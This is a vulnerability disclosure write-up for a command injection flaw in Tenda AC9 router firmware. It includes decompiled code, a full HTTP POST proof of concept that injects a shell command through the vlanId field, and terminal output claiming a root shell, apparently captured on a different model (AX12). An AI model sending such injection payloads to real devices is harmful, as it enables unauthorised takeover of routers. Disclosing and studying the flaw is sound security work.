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# Tenda AC9 V15.03.2.21\_cn Command Execution Vulnerability

## Overview

- Manufacturer's website information: <https://www.tenda.com.cn/profile/contact.html>
- Firmware download address : <https://www.tenda.com.cn/download/default.html>

## 1. Affected version

当前版本: V15.03.2.21\_cn

升级类型: ☐ 本地升级 ☒ 在线升级

当前版本为最新版本, 不需要升级

Figure 1 shows the latest firmware Ba of the router

## Vulnerability details

```
17  v12 = 0;  
18  memset(v5, 0, sizeof(v5));  
19  memset(v4, 0, sizeof(v4));  
20  v11 = 0;  
21  s1 = (char *)huoqu(a1, (int)"stbEn", (int)"0");  
22  nptr = (char *)huoqu(a1, (int)"igmpEn", (int)"0");  
23  v8 = (char *)huoqu(a1, (int)"vlanId", (int)&unk_D3ED4);  
24  GetValue("adv.iptv.stbpvid", s);  
25  GetValue("iptv.stb.enable", s2);  
26  printf("%s [%d] pvid=%s pvid_bf=%s\n", "formSetVlan", 292, v8, s);  
27  if ( strcmp(s1, s2) || strcmp(v8, s) )
```

First, it puts the content after the vlanid parameter into V8, Then bring V8 into sub\_ A3760 and sub\_ In a3550 function

```
50  }  
51  if ( atoi(s1) == 1 )  
52  sub_A3550(v8, v8);  
53  else  
54  sub_A3760(v8);  
55  doSystemCmd("nvram commit");  
56  v1 = printf("[he debug]:%s %d==nvram
```

```

1 int __fastcall sub_A3760(const char *a1)
2 {
3     SetValue((int)"iptv.stb.enable", (int)"0");
4     doSystemCmd("nvram unset iptv.stb.enable");
5     SetValue((int)"adv.iptv.stbpvid", (int)a1);
6     return doSystemCmd("nvram set adv.iptv.stbpvid=\"%s\"", a1);
7 }

```

The functions call dosystemcmd, and the parameters are controllable. We can achieve the effect of command injection by constructing payload

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V15.03.2.21\_cn
2. Attack with the following POC attacks

```

POST /goform/SetIPTVCfg HTTP/1.1
Host: 192.168.11.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101
Firefox/96.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 51
Origin: http://192.168.11.1
Connection: close
Referer: http://192.168.11.1/iptv.html?random=0.7642888131213508&
Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcmho1qw

```

```
stbEn=1&igmpEn=1&vlanId=1"echo 1234 > /tmp/4455 "\"\
```

The reproduction results are as follows:

```

/tmp # ls
4455          td_acs_auto_bandwidth_log  wps_monitor.pid
auto.socket   td_acs_dbg_svr
/tmp # find / -name *.sh

```

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

```
iot@attifyos ~/D/1/AX12> python3 exp2.py  
iot@attifyos ~/D/1/AX12> █
```

```
root@AX12:/# ls  
bin      files    opt      rom      sys      var  
dev      lib      overlay  root     tmp      www  
etc      mnt      proc     sbin     usr  
root@AX12:/# id  
uid=0(root) gid=0(root) groups=0(root)  
root@AX12:/# █
```